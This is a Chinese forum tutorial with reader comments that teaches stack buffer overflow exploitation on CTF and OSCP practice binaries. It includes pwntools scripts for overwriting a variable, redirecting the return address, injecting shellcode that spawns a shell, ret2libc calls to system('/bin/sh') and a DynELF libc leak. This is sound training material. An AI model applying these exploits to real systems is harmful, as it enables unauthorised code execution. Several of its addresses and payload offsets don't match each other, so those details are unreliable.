用户
搜索

[二进制安全] 一看就会做的 bof 攻略

  • TA的每日心情
    慵懒
    9 小时前
  • 签到天数: 165 天

    连续签到: 3 天

    [LV.7]常住居民III

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    121

    主题

    309

    帖子

    2081

    魔法币
    收听
    0
    粉丝
    23
    注册时间
    2017-7-24

    幽默灌水王突出贡献春秋文阁i春秋签约作者i春秋推荐小组积极活跃奖春秋游侠秦

    发表于 2020-7-18 17:01:20 113801
    本帖最后由 HAI_ 于 2020-7-18 09:02 编辑

    本文原创作者:HAI,本文属i春秋原创奖励计划,未经许可禁止转载

    0x00 前言

    刚开始学bof的时候,完全是被逼迫的,要不是oscp要考,我肯定是不会接触到的,研究了一段时间之后,把经验以及套路分享给大家咯。没有基础没有关系鸭,基础可以慢慢补,但是做出题目的成就感还是要有的。

    大致分类

    • 数据覆盖

    • 返回地址函数跳转

    • 函数覆盖调用

    • 函数构造

    • off计算以及bss数据写入

    0x01 数据覆盖

    先来解释一下数据覆盖是指什么,这里是说,通过溢出来覆写其他位置的数据,达到某种效果。一般题目比较常见的就是更改逻辑判断。

    溢出有一个东西是打死不变的,就是你既然要溢出,那么你必然要把你自己写满才能溢出。

    那么如果判断是bof的话,那么第一步,找到溢出点,第二步就是用无用数据填满你自个

    公式:

    payload=需要覆盖垃圾数据的量+需要覆写的内容

    需要覆盖垃圾数据的量=待覆盖变量地址-溢出变量地址

    整理一下就是 payload=待覆盖变量地址-溢出变量地址+需要覆写的内容

    那么按照这样子的逻辑我们来看一个例子,例子在附件名为 lx1

    汇编看不懂没关系,F5也行,前期不要求

    这里可以看到我们溢出点在get上,并且需要用s去覆盖a1,那么按照公式

    待覆盖变量地址=ebp+arg_0=ebp+8

    溢出变量地址=ebp-2Ch

    需要覆盖垃圾数据的量=待覆盖变量地址-溢出变量地址=ebp+8-ebp-2Ch=8+2ch=34

    需要覆写的内容=0xCAFEBABE

    payload=34个垃圾数据+0xCAFEBABE

    这里使用pwntools进行payload的生成,要是你喜欢自己写也没法问题

    from pwn import *
    
    payload=0x34*'A'+p32(0xCAFEBABE)
    
    print(payload)

    0x02 返回地址函数跳转

    1.目标提供了system函数

    这里就是说覆盖地址把返回地址之前的内容都覆盖完了,那么这里就获得了返回地址的覆写权,也可以说是操作权。

    一般什么时候会用到这个东西呢,比如说,这个程序本生有一个方法,但是在却没有进行调用,那么我们就可以通过控制返回地址来达到覆写执行的目录。

    可以简单的理解为 就是执行了一个 goto跳转。

    公式:

    payload=覆写垃圾数据+返回地址的值

    这里也来举一个例子,例子在附件名为 lx2。

    这里可以看到一个good_gaem函数。

    可以看到是读取了一个flag.txt的文件。

    按照公式我们来找:

    覆写垃圾数据=0x88

    返回地址的值=0x400620

    那最后的payload=0x88*'A'+0x400620

    这里还是使用pwntools来进行payload的生成

    from pwn import *
    
    payload=0x88*'A'+p64(0x400620)
    
    print(payload)

    2.目标没有提供system,需要自己写shellcode

    这里就是说nx没有开启保护的情况下,就可以自己来进行shellcode的编写,一般可以写shellcode要求填充数据的位置要够。

    公式:

    payload=shellcode+(垃圾填充长度-shellcode长度)的垃圾数据+返回地址(shellcode)的地址

    还是举个例:例子在附件名为 lx3。

    这里可以看到是read导致的溢出

    然后这里看到打印了地址

    效果大概是这样

    那么我们还是按照公式来找

    首先是填充字段=0x88

    返回地址需要进行动态截取,那么就需要使用pwntools进行,shellcode也是用pwntools生成,真的是十分方便。

    from pwn import *
    sh = process("./lx3")
    shellcode = asm(shellcraft.i386.linux.sh())
    line = sh.recvline()[14:-2]
    buf_addr = int(line,16)
    payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
    sh.send(payload)
    sh.interactive()
    sh.close()

    0x03 函数覆盖调用

    这里是指,在没有函数让我们进行goto跳转也就是操作返回地址的时候,就需要对函数进行主动的调用。

    公式:

    payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

    这里来看一个实例:例子在附件名为 lx4。

    还是read的溢出点

    覆盖垃圾地址=0x88

    这里返回地址直接随便填就行

    覆盖返回地址='A'*4

    函数地址=0x0804824B

    函数地址我们ida shift+f12 看一下string

    这里返回地址如果没有要执行下一步的话直接返回垃圾数据就行
    返回地址='A'*4

    参数1=/bin/sh=0x0804A024

    至此我们payload是构造出来了。

    写脚本即可。

    from pwn import *
    payload=0x88*'A'+0x4*'A'+p32(0x08048320)+0x4*'A'+p32(0x0804A024)
    print(payload)

    0x04 函数构造

    0x03说了函数覆盖调用,这里来说函数构造,是指目标本身不包含system等命令的时候,我们就需要从别的地方下手了。

    这里我们选择从lib so库中下手,获取system等地址

    公式:(公式和函数覆盖调用一致,只是获取方式不同)

    payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

    这里举个例子,例子在附件名为 lx5 大部分内容都可以0x03的内容一样,只不过找不到system了。

    还是read溢出,我们开始找公式内的内容

    覆盖垃圾地址=0x88

    覆盖返回地址=0x4

    这里找函数地址,找函数地址前,先找基址,这里可以看到基址为0xf7ce8000

    system函数地址:0x000426e0

    /bin/sh 参数1:

    最后就可以组成payload了。构造方法参考0x03

    0x05 off计算以及bss数据写入

    有一种情况就是说,我没有so库,并且我也没有办法获取到在线目标so库的内容,那么我们就需要通过write去找基址。

    公式:(公式还是这个)

    payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

    例子可以继续用lx5

    这里使用pwntools的DynELF获取到system地址

    def leak(address):
            payload=junk+p32(write_addr)+p32(start_addr)+p32(1)+p32(address)+p32(4)
            p.sendline(payload)
            leak_addr=p.recv()
            return leak_addr
    
    d = DynELF(leak,elf=ELF("./lx2"))
    system_addr = d.lookup('system','libc')

    通过DynELF方式可以获取到system的地址。

    然后还需要将我们的/bin/sh加载到bss上去,这里需要使用read方法

    payload2='a'*(0x88+0x04)+p32(read_plt)+p32(start_addr)+p32(0)+p32(bss_addr)+p32(8)
    p.send('/bin/sh\x00')

    这样就可以将/bin/sh写到bss字段中,最后构造成payload。

    lx.zip

    13.01 KB, 下载次数: 1, 下载积分: 魔法币 -5

    售价: 1 魔法币  [记录]

    论如何学习,我们来聊一聊经验呀784278256
    感谢分享,学习了~
    使用道具 举报 回复
    发表于 2020-7-20 17:06:48
    眼睛:会了,脑子:不,你不会
    使用道具 举报 回复
    发表于 2020-7-21 14:30:11
    学习了~大佬tql
    使用道具 举报 回复
    发表于 2020-7-22 14:40:12
    眼睛:会了,脑子:不,你不会
    使用道具 举报 回复
    发表于 2020-7-23 09:55:34
    一看就会,一做就废
    使用道具 举报 回复
    发表于 2020-7-23 10:21:58
    Icon 发表于 2020-7-23 01:55
    一看就会,一做就废

    评论=已经精通
    论如何学习,我们来聊一聊经验呀784278256
    使用道具 举报 回复
    眼睛:会了,脑子:不,你不会
    使用道具 举报 回复
    我学废了
    使用道具 举报 回复
    发表于 2020-7-25 13:43:42
    我看了两遍还不会……
    使用道具 举报 回复
    第二章那里,0x88再加上一个ebp的长度才能覆盖到返回地址吧payload=0x88*'A'+ 8*'A' +0x400620,也是刚学有点疑问
    使用道具 举报 回复
    手机用户L_KpCd 发表于 2020-7-31 02:35
    第二章那里,0x88再加上一个ebp的长度才能覆盖到返回地址吧payload=0x88*'A'+ 8*'A' +0x400620,也是刚学有 ...

    8*'A'这里就是返回地址,跳转的话,返回地址直接写system就行,构造跳转的话就需要把返回地址覆盖掉自己写
    论如何学习,我们来聊一聊经验呀784278256
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册